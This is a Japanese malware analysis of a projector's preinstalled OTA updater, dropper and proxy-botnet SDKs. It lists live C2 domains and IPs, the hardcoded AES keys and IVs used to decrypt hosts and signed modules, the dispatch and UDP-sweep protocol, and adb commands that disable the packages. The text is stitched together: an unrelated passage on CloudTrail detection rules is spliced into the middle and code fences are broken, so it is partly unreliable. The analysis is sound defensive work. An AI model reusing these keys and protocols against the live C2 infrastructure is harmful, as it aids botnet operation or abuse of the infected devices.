  • したがって、恒久的な削除とは、ダンプ内の super から APK を削除し、FEL 経由でフラッシュすることを意味します。未検証です。``` adb shell getprop ro.boot.vbmeta.device_state # locked adb shell getprop ro.boot.verifiedbootstate # (empty) adb shell df -h /system # 1.1G 1.1G 3.4M 100%
root@kitploit:~
### 8.5. ブロートウェア```
adb shell pm disable-user --user 0 com.android.toofifi
adb shell pm disable-user --user 0 com.toofifi.lineserver
adb shell pm disable-user --user 0 com.toofifi.miracast
adb shell pm disable-user --user 0 com.mphotool.usbcastserver
adb shell pm disable-user --user 0 com.rockchip.devicetest

pm enable --user 0 <package> で元に戻す

  • com.android.toofifi: 中核となるスクリーンキャストサービス。携帯電話やノートPCからの画面ミラーリング(Miracast/AirPlay 形式のキャスト)が使えなくなる。
  • com.toofifi.lineserver: 同じスタック用の有線/USB ディスプレイサーバー。ライセンス確認のため server.mphotool.com:8680 に通信する。有線ディスプレイモードが使えなくなる。
  • com.toofifi.miracast: ワイヤレス Miracast レシーバー。server.mphotool.com:8680/MPAPI/System/CheckUpdate を呼び出し、使用ログを mphotool.com/FeituAppLogMgr にアップロードする。ワイヤレスキャストが使えなくなる。
  • com.mphotool.usbcastserver: USB キャストサーバー。同じベンダー製。デバイスからの USB キャスト機能が使えなくなる。
  • com.rockchip.devicetest: Allwinner ユニットに存在する理由がない。

9. 完全なコンポーネントマップ

静的解析。生の逆コンパイル済みソース、復号された .rf モジュール、および使用されたスクリプトは analysis/(decompiled/、decrypted_modules/、tools/)に保管されている。

9.1 OTA アップデータ

com.android.sysapp

逆コンパイルされたクラス a.a.b.m/a.a.b.n は、正確で文字通りの OTA リクエストを提供する:``` POST http://wjtysj.ishanghd.com/hx_kt.php?act=project&do=getPackageInfo &productid=<ro.android.productid, default "74865231"> &device_mode=<persist.sys.cm.dtsmodel, e.g. "AT-M269"> &devices_version=<ro.build.version.incremental> &update_type=1|2 # 1 auto check, 2 forced ("check for update" button)

root@kitploit:~
Apache `HttpPost` 経由で空のフォームボディ。すべてはクエリ文字列内にあるため、GET と POST は等価であり、署名/トークンもない。ライブでリプレイ(2026‑09‑26):`{"code":200,"data":[]}`、この productid にはどのバージョンを試してもパッケージが存在しないようだ。

### 9.2 ドロッパー

`com.android.umanalytics.yiyou`

**自己更新**(`http.utils.UpdateUtils.checkUpdate`)
`GET http://ty.ishanghd.com/work/app/wj/factory/update.json` が `MD5` と `VersionCode` を含む `DownLoadURL` を配信し、それがダウンロードされ、MD5 チェックされ、`PkgUtils.install(path, 1)` でサイレントに自己置換される。

**`plugin.jar` 取得**(`MyService`)
`GET http://isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.json` が `plugin.jar` を配信し、それが `<cache>/plugin.jar` にダウンロードされ、`DexClassLoader` でロードされる。`com.anlytics.plug.ParserUtils.AnalyticsHelper("test")` がエントリポイントである。

**デバイスごとのアプリリストプロファイル**
これらはキャンペーン内の各デバイス用のカスタムアプリである(おそらく DRM を回避するためにパッチが当てられている?)

`com.anlytics.plug.b` はボード(`ro.board.platform`、`persist.sys.cm.dtsmodel`、`ro.sys.cputype`、`ro.build.version.release`、インストール済みパッケージ、`/system/etc/voice.tar.gz` などのファイル)を 40 個のハードコードされたプロファイルと照合し、`com.tools.a` 内の定数から適合する `appsinfo/.../infos*.json` URL を選択する。

このユニットは `com.ashd.launcher10` を搭載し、`persist.sys.cm.dtsmodel=AT-M269` / ボード `ares` を報告し、テーブル内で唯一の H713 "launcher10" プロファイルは:```
http://ty.ishanghd.com/work/app/wj/appsinfo/H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json

検出

検出の仕組み

detect() は、--detect が指定されたときに main() から呼び出されます。これは次の処理を行います。

  1. 設定されたすべてのソースからイベントを収集します。
  2. 各イベントを detect_rule() に通して、一致するルールを探します。
  3. 一致したイベントを重大度別にグループ化します。
  4. 結果を出力します(テーブル、JSON、または Markdown)。

ルールの一致

detect_rule() は、イベントの eventName を各ルールの event_names リストと照合します。一致が見つかると、ルールの level と description がイベントに付加されます。

root@kitploit:~
def detect_rule(event, rules):
    for rule in rules:
        if event.get("eventName") in rule.get("event_names", []):
            return rule
    return None

重大度レベル

レベル意味
critical即時の対応が必要
high早急な調査が必要
medium調査すべき
low情報提供

出力形式

--format フラグは出力形式を制御します。

  • table(デフォルト)— 人間が読める形式のテーブル
  • json — 機械可読な JSON
  • markdown — Markdown テーブル

例

root@kitploit:~
python3 main.py --detect --format json
root@kitploit:~
{
  "critical": [
    {
      "eventName": "DeleteTrail",
      "eventTime": "2024-01-15T10:30:00Z",
      "userIdentity": {
        "arn": "arn:aws:iam::123456789012:user/alice"
      }
    }
  ],
  "high": [],
  "medium": [],
  "low": []
}
``````json
date	20240819
description	"1、优化网络访问\n2、增强系统稳定性。"
appInfos
0
appVersionCode	425
appName	"uninstall"
appPkgName	"com.netflix.ninja"
appMd5	"3D3EC4CAA09F68170EB0ADC5A92AC018"
appUrl	"http://isdownload.ishanghd.com/work/app/wj/app/rk3326/Netflix_425.apk"
1
appVersionCode	84
appName	"launcher10"
appPkgName	"com.ashd.launcher10"
appMd5	"3AA639AE6850189EB8EB4B288AFAD70A"
appUrl	"http://isdownload.ishanghd.com/work/app/wj/app/H713/Launcher10_HY300_1.84.apk"
2
appVersionCode	3
appName	"platinum"
appPkgName	"com.allwinnertech.platinum.media"
appMd5	"5DA2127B3D0E983D96C16F5960CFE5E0"
appUrl	"http://isdownload.ishanghd.com/work/app/wj/app/H713/PlatinumMediaDLNA.apk"

40個のプロファイルURLの完全なリスト それぞれはおそらく同じキャンペーン下の被害デバイスファミリーです:``` infos.json TEST/infos.json infos_qp.json infos_lm.json infos_wy.json infos_wy_fj600.json infos_set.json infos_ydd3128.json WANYING_test/infos.json YBS_ASOS/infos.json YDN2_YIUI_RX480P/infos.json YINGKE_CC720P/infos_0208.json YINGKE_CC720P/infos_ZG_0315.json YINGKE_CC720P/infos_0313.json YINGKE_CC720P/infos_0504.json SAIER_RK3326_DV381_YIUI/infos.json SAIER_RK3326_DV381_YIUI_C1PRO/infos.json rk3326_ASHD/Q3/infos.json H713/N1/infos.json rk3326/HY300A/infos.json rk3326/Saier_zhixiang_0326/infos.json YKK_3326_YIUI/infos.json rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_OLD/infos.json rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_DSN/infos.json rk3326_ASHD/RK3326_HY300A_YM_SUR269_AHW/infos_dsn.json rk3326/HY300A_GBPT_HP265013_AHW/infos_0611.json rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW/infos_dsn.json rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW_OLDNFX/infos.json rk3326_ASHD/BNX_TXD265_AHW_3+64_Lingbo/infos2.json rk3326_ASHD/RK3326_GBPT_720P_CAOYING/infos.json rk3326_ASHD/RK3326_GBPT_LAUNCHER10/infos.json rk3326_ASHD/RK3326_HY300A_JUYING1_8_HP265013_AHW/infos.json H713_ASHD/H713_GBPT_HY300A_720P/infos.json H713_ASHD/H713_HY300A_720P_YIRUO/infos_0304.json H713_ASHD/H713_GBPT_HY300A_720P/infos_games_1207.json H713_ASHD/H713_GBPT_HY300A_720P/infos_games_0221.json H713_ASHD/H713M_HY300PRO_MAX_HP269006_BAT/infos_1220.json H713_ASHD/H713M_HY300A_VIEW_0304/infos.json H713_ASHD/H713_GBPT_HY300A_720P/infos_0318.json H713_ASHD/H713_SKW/infos.json H713_ASHD/H713_NEFHELP/infos.json H713_ASHD/DSN/infos.json rk3326_ASHD/DSN/infos.json rk3326_ASHD/RK3326_AD/infos_ad_asos.json H713_ASHD/H713_HY300_HIFI/infos.json H713_ASHD/H713M_HY300_A/infos_F8.json H713_ASHD/H713M_TENPLUS_0625/infos.json H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json Hisi352_ASHD/TS-6/infos_0730.json H723_ASHD/H723_T1Pro/infos_0618.json

root@kitploit:~
各 `infos*.json` は `pm install -r` するアプリ(ペイロード `com.google.adtest` と Disney+ などのカバーアプリ)を列挙しており、3. で扱ったとおりです。

### 9.3 plugin.jar

**C2 ホスト暗号化**
`com.hs.p.basic.Hosts`/`EncryptUtils`
各ホスト文字列は `AES/CFB/NoPadding`(キー `MD5("ota.host.a46780a24111f056d95f955462606901")`、IV `"0102030405060708"`)で、gzip 圧縮後、base64 エンコードされます:

- `API_MASTER_HOSTS`: `https://api.loritor.cc/`
- `TRACKER_SLAVE_HOSTS`: `https://api.loritor.cc/`
- `API_SLAVE_HOSTS`: `https://api.nizero.cc/`
- `TRACKER_MASTER_HOSTS`: `https://api.nizero.cc/`(API チャネルと優先度が入れ替わっている?)

このテスト時点では、loritor.cc と nizero.cc の両方ともダウンしているようでした。

**タスク/設定 API パス**
`GetTaskApi`、`GetConfigApi`
`POST <host>/0x01/ov/x1`(設定:サイレントウィンドウ、ログトグル、ホストリストプッシュ、ポーリング間隔)および `POST <host>/0x01/ov/x2`(タスクリスト:カーソルページネーションされた `jars[]`/`dexs[]`/`apks[]`、それぞれに `file_url`/`file_md5`/`vercode`/`task_id` を含む)。レスポンスボディの `"data"` フィールドも同様に暗号化されており、キーは `"ota.api.d3b194c07b63d688969c258719ca3f0f"` です。

**`.rf` モジュール形式**
有効な DSA 署名を持つ 4 つのモジュールをすべて復号すると:
`[4B version][4096B pad][32B salt][4B+N invocation AES-CFB][4B+N module AES-CFB][4B+N DSA sig]`。

AES キー = `MD5("968a84be78d3421d5e771147dce2b766" + salt)`、IV は上記と同じ固定値です。

DSA 公開鍵はハードコードされており(1024 ビット、`DexManager`/`JarExe` に埋め込み)、平文は生の dex ではなく ZIP/APK です。```
SKN0041: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0017","m_uninit":"stop"}
SKN0054: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0028","m_uninit":"stop"}
SKN0058: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0032","m_uninit":"stop"}
SKN0061: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0035","m_uninit":"stop"}

9.4 com.ad.proxy

SKN0041

エントリ MainApi.start_W0017 はクライアント Robin を起動します。2つのプレーンな HTTP(S) エンドポイントがあり、channel/version はこのモジュールを呼び出した側から供給されます:``` GET https://api.kookjar.com/signin?uuid=&channel=&version=

(debug build: http://152.32.240.141 same paths)

POST https://api.kookjar.com/report?uuid=&channel=&version= body: {"gateway_list":[{"host":..,"port":..,"status":..}, ...]} # reports back which proxy gateways it reached

root@kitploit:~
### 9.5 com.szns.sdk

`SKN0054`

ここにあるドメイン/IP文字列は難読化されています: `Base64→XOR(fixed key) > XOR(prev result) > MD5-derived XOR > Base64 > gzip` クラス `com.szns.sdk.t` 内。

正確なアルゴリズム(`analysis/tools/decode_szns_t.py`)を再現し、ハードコードされた4つのブートストラップエンドポイントをすべて復号しました:```
ac.a()
  ->  https://hgsdkszns.com
ac.b()
  ->  http://dporder.midrouterx.com/api/dispatch
      (state 1: fetch "domain_info", cached 24h)
ac.c()
  ->  https://seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.ico
      (state 3: OSS bootstrap; body is a plain URL: "http://dporder.midrouterx.com/api/dispatchByOss")
ac.d()
  ->  43.173.127.241:9090
      (state 5: "ip_tcp_info" bootstrap)

キャッシュされたディスパッチURLがない場合(状態7): 43.153.12.1 - 43.153.80.100:8080 のUDPスイープ

リテラルASCIIペイロード "moon2" を送信し、http で始まる応答を待機する。この応答がディスパッチURLとなる。

各ブートストラップリクエストは POST <url> で、フォームフィールド {"operator":<c>,"c":"moon2","name":<d>} を com.szns.sdk.x 内で送信する。

解決されたディスパッチURLに対して同じフィールドがPOSTされ、実際のゲートウェイリストが AES/CBC/PKCS5(キー "5360e2884c119aa32a767ceb1c0889b0"、ランダムIV、エンベロープ base64(iv):base64(ciphertext))で暗号化されて返される。

復号されたJSON形式: {"data":{"schedule":N,"thread":N,"heartbeat":N,"st":N,"node":[{"connect":"host:port","proxy":"host:port"}, ...]}}。

9.6. com.link.core

SKN0058

単一のハードコードされたゲートウェイ、ディスカバリ層なし: com.link.core.a.g → ["api.eviceh.cc:16000"]。自身のルックアップに使用されるDNSリゾルバ: 8.8.8.8、9.9.9.9、1.1.1.1、1.0.0.1。デバイスフィンガープリンティングのために /proc/cpuinfo と /sys/class/net/{eth0,wlan0}/address を読み取る。

9.7. ddth2 (VpsSdk)

SKN0061

ハードコードされたゲートウェイプール、ddth2.hidden.o: ドメイン dw4y.mmavlino.com、zx8c.llvyomi.net、zxn5.p2f7mjhv.eu.cc、IP 45.43.57.99、165.154.135.52。

永続的なカスタムバイナリTCPプロトコル:

  • connect
  • REGISTER/REGISTER_ACK ハンドシェイク(8バイトのフレームヘッダ、opcode+length)
  • その後ゲートウェイが接続コマンド({host, port})をプッシュする
  • プライベート/ループバック/マルチキャスト範囲に対してフィルタリングされ、セッションごとにプロキシされたソケットを生成する。これが「多数の並列クライアントインスタンス」の説明となる。

9.8. com.google.adtest

または com.fotas.wanapp ("com.speed")

実際の内部パッケージ名は com.fotas.wanapp(Appクラス com.fotas.wanapp.APP)。onCreate() は plugin.jar と同じマスター/スレーブ/ランダムパターンで3つのホストを設定する:``` master -> https://api.pechlo.cc/ slave -> https://api.logobi.cc/ random -> https://random.vivosoc.cc/

root@kitploit:~
デバイスのチェックインは `POST https://codedevapp.com/api/v1/device/dau` を通じて行われます。

2つのサービスが起動されます:

- `com.google.android.AdService`
- `com.google.android.BakService`

存在する場合、オプションの `com.fotas.wanapp.ChannelSdkInit` クラスをリフレクションで探索して初期化します。アプリID文字列:`"wanapp"`、`"WAN_AISHANG_001"`。

### 9.9. ライブステータススナップショット (2026-09-26)

独立したホストからの読み取り専用の到達性チェック(プロキシプロトコル/ペイロードは送信せず、プロジェクター自体との対話もなし):

| ホスト                                                                                                | DNS / 接続結果                                                         | 備考                                                                         |
| --------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------- | ----------------------------------------------------------------------------- |
| `api.loritor.cc`, `api.nizero.cc`                                                                   | 解決成功 (Cloudflare)、`/` で HTTP 404                                       | 稼働中;実際のパスは `/0x01/ov/x1`、`/0x01/ov/x2`                            |
| `api.kookjar.com`                                                                                   | 解決成功 (Cloudflare, 172.67.159.65)、HTTP 204                               | 稼働中                                                                         |
| `152.32.240.141` (SKN0041 デバッグフォールバック)                                                           | TCP/80 タイムアウト                                                               | 到達不可;いずれにせよデバッグ専用パスで、本番は `api.kookjar.com` を使用      |
| `dporder.midrouterx.com`                                                                            | 直接解決 (43.174.196.241, Tencent Cloud)、`/api/dispatch` で HTTP 200 | **稼働中**                                                                     |
| `seed-info.oss-ap-southeast-1.aliyuncs.com`                                                         | 解決成功 (47.79.49.170, Alibaba Cloud SG)、HTTP 200、`favorite.ico` を配信   | **稼働中**                                                                     |
| `hgsdkszns.com`                                                                                     | 解決成功 (Cloudflare)                                                        | DNS は稼働中;プレーン HTTPS プローブはリセット (現在のビルドでは未使用分岐、10.5 参照) |
| `43.173.127.241:9090`                                                                               | **生の TCP 接続が成功**                                                 | **稼働中、現在リッスン中**                                                |
| `api.eviceh.cc:16000`                                                                               | 解決成功 (152.53.83.204)                                                     | DNS は稼働中、チェック時点で TCP/16000 は拒否 (ゲートウェイは現在リッスンしていない)  |
| `dw4y.mmavlino.com` / `zx8c.llvyomi.net` / `zxn5.p2f7mjhv.eu.cc` / `45.43.57.99` / `165.154.135.52` | 今回のチェックでは再確認せず                                                     | セクション11参照                                                                |
| `api.pechlo.cc`, `api.logobi.cc`                                                                    | 解決成功 (Cloudflare)、`/` で HTTP 404                                        | 稼働中                                                                         |
| `random.vivosoc.cc`                                                                                 | **DNS レコードなし**                                                            | 停止/期限切れの模様                                                          |
| `codedevapp.com`                                                                                    | 解決成功 (5.161.41.216, Hetzner)                                              | 稼働中;`/api/v1/device/dau` は POST 専用のため、単純な GET は中断される                 |

## 10. URL

| ホスト / URL                                                                                                                  | コンポーネント                                 | 役割                                                                                                                           |
| --------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ |
| `ishanghd.com`, `ty.ishanghd.com`, `isdownload.ishanghd.com`, `wjtysj.ishanghd.com`                                         | sysapp, yiyou                             | ルート OEM バックエンドドメイン                                                                                                        |
| `wjtysj.ishanghd.com/hx_kt.php`                                                                                             | sysapp (AshdSysApp)                       | OTA アップデータ C2 (`act=project&do=getPackageInfo`)                                                                               |
| `ty.ishanghd.com/work/app/wj/factory/update.json`                                                                           | yiyou                                     | ドロッパー自己更新ポインタ                                                                                                    |
| `ty.ishanghd.com/work/app/wj/appsinfo/*` (40 パス、上記参照)                                                              | yiyou                                     | デバイスファミリーごとのペイロード/アプリリスト (`pm install -r` ターゲット)                                                                  |
| `isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.json`                                                                | yiyou                                     | `plugin.jar` 取得ポインタ                                                                                                     |
| `isdownload.ishanghd.com/work/app/wj/plugin/plugin/2026082800/plugin.jar`                                                   | yiyou                                     | 実際の `plugin.jar` ペイロード (バージョン付きパス、時間とともに変化)                                                                |
| `isdownload.ishanghd.com/work/app/wj/app/rk3326/L3.zip`                                                                     | plugin.jar                                | Widevine L3 DRM キー/ライセンスバンドル、未認証デバイスでストリーミングアプリを動作させるためにドロップされる                                    |
| `api.loritor.cc`, `api.nizero.cc`                                                                                           | plugin.jar ("hs")                         | タスク/設定 API (`/0x01/ov/x1`, `/0x01/ov/x2`)、API チャネル (マスター/スレーブ) およびトラッカーチャネル (スレーブ/マスター入れ替え) の両方として  |
| `api.kookjar.com` (+ `152.32.240.141` デバッグ)                                                                         | SKN0041                                   | `/signin`, `/report`                                                                                                           |
| `api.eviceh.cc:16000`                                                                                                       | SKN0058                                   | 唯一のゲートウェイ                                                                                                                   |
| `hgsdkszns.com`                                                                                                             | SKN0054                                   | 追加のハードコードされたブートストラップホスト (現在のビルドでは未使用分岐)                                                           |
| `dporder.midrouterx.com/api/dispatch` (+ `/api/dispatchByOss`、下記の OSS ブートストラップ経由で到達)                         | SKN0054                                   | プライマリディスパッチブートストラップ                                                                                                     |
| `seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.ico`                                                                    | SKN0054                                   | OSS ホスト型ブートストラップリダイレクタ (Alibaba Cloud OSS)                                                                            |
| `seed-1303252866.cos.na-siliconvalley.myqcloud.com/favorite.ico`                                                            | SKN0054                                   | 同じブートストラップ設定の Tencent COS バックアップミラー                                                                         |
| `43.173.127.241:9090`                                                                                                       | SKN0054                                   | `ip_tcp_info` ブートストラップホスト (正確なポート確認済み、稼働中)                                                                      |
| `43.135.136.224`                                                                                                            | SKN0054                                   | 稼働中に観測されたディスパッチゲートウェイ (tcp/7788 `/api/dispatch`, tcp/9090)                                                            |
| `43.159.148.198`                                                                                                            | SKN0054                                   | 稼働中に観測されたゲートウェイ/サーバーリストエンドポイント、`/dp/getServer` (おそらく暗号化された `node[]` リスト内で動的に返された) |
| `43.130.60.175`                                                                                                             | SKN0054                                   | 追加のプロキシゲートウェイノード (tcp/9090)、稼働中に観測                                                                        |
| `43.153.12.1`–`43.153.80.100:8080` (UDP)                                                                                    | SKN0054                                   | ディスカバリスイープ;プローブペイロードはリテラル ASCII `moon2`                                                                        |
| `dw4y.mmavlino.com`, `zx8c.llvyomi.net`, `zxn5.p2f7mjhv.eu.cc`, `45.43.57.99`, `165.154.135.52`                             | SKN0061                                   | ゲートウェイプール、カスタム TCP プロキシプロトコル                                                                                        |
| `api.pechlo.cc`, `api.logobi.cc`, `random.vivosoc.cc`                                                                       | com.speed / com.fotas.wanapp              | マスター/スレーブ/ランダム C2                                                                                                         |
| `codedevapp.com/api/v1/device/dau`                                                                                          | com.speed / com.fotas.wanapp              | デバイスチェックイン                                                                                                                |
| `live.sz-cloudmedia.com:8080/ota/`                                                                                          | レガシー OTA (古い/兄弟 sysapp バリアント) | 行き止まり、このドメインには ICP 登録がなく、Alibaba がブロックしている。                                                                     |
| `ulogs.umeng.com`, `ulogs.umengcloud.com`, `alogus.umeng.com`, `alogsus.umeng.com`, `ouplog.umeng.com`, `plbslog.umeng.com` | yiyou (Umeng SDK)                         | サードパーティ分析テレメトリ、yiyou アプリが収集するデバイスフィンガープリント (シリアル、MAC、SSID/BSSID) を伝送                |
| `hmma.baidu.com`, `datax.baidu.com`, `dxp.baidu.com`, `openrcv.baidu.com`                                                   | yiyou (Baidu Mobile Stats SDK)            | 同じテレメトリの役割、Baidu 経由                                                                                                 |
| `cmnsguider.yunos.com`, `ip.taobao.com`, `g3.le.com`                                                                        | yiyou                                     | フィンガープリンティングに使用される Alibaba/Yunos デバイストークンおよびパブリック IP 検索サービス                                               |

## 11. その他

開発者オプション:

1. `Deviceversion.onKeyDown` (設定の「デバイス情報」画面) はコナミスタイルのコード、上上下下左左右右中中を監視し、開発者オプションを開こうとします。私の場合、これは機能しませんでした。
2. 上下左右中は `com.konka.readmain.MainActivity` を起動しようとします。これは無関係な OEM 工場テストアプリで、実際にはこのユニットにインストールされていません。同様に、機能しませんでした。```
adb shell am start -n com.ashd.settings/com.rk_itvui.settings.deviceversion.Deviceversion
adb shell input keyevent 19
adb shell input keyevent 19
adb shell input keyevent 20
adb shell input keyevent 20
adb shell input keyevent 21
adb shell input keyevent 21
adb shell input keyevent 22
adb shell input keyevent 22
adb shell input keyevent 23
adb shell input keyevent 23
ツールをダウンロード
用語機能LAN
NetworkInterface (adtest, plugin, SKN0061)ボットID用にデバイス自身のIPとMACを読み取るいいえ
SKN0041 の DatagramSocketゲートウェイへのプロキシセッション用UDPリレーいいえ
SKN0054 の DatagramSocketC2ディスカバリ: 43.153.12-80.1-100:8080 (パブリッククラウドレンジ) をスイープいいえ
plugin.jar の ServerSocket動画再ストリーミングサーバー、下記参照いいえ
Runtime.exec のヒット (yiyou, plugin.jar, adtest, SKN0041/54/58/61)サードパーティSDK内部、ローカルファイルへの chmod 777、フォアグラウンドアプリまたはrootチェック用の su/pm/dumpsys、およびSKN0041でのオペレーター発行の pingpingコマンドのみ
UPnP, mDNS/NSD, SSDP, WiFi Direct, ARP/サブネット計算, ADB 5555, telnetなしいいえ
systemmixservice / libsystemmixservice.so / libsystemmix_jni.soBinder専用OEMサービス: プロパティの取得/設定、生ファイルの読み取り/書き込み/削除、マウント/アンマウント、ブートロゴ/アニメーション。どちらのバイナリにも socket/bind/connect/listen/accept シンボルなしいいえ
qwスーパーユーザー/ClockworkMod suデーモン。文字列内にはUnixドメインソケットパスのみ (/dev/com.koushikdutta.superuser[.daemon])、IPリテラルなし、AF_INET なしいいえ
com.android.nfx (NFXAccessibility)Netflix D-padナビゲーションヘルパー、com.netflix.mediaclient がフォアグラウンドにある間のみアクティブ。マニフェストには INTERNET パーミッションが全くないいいえ
// SKN0054 com/szns/sdk/t.java - refuses private and loopback targets, IPv4 dotted-decimal only
str.equals("0.0.0.0")str.matches("^10\..*")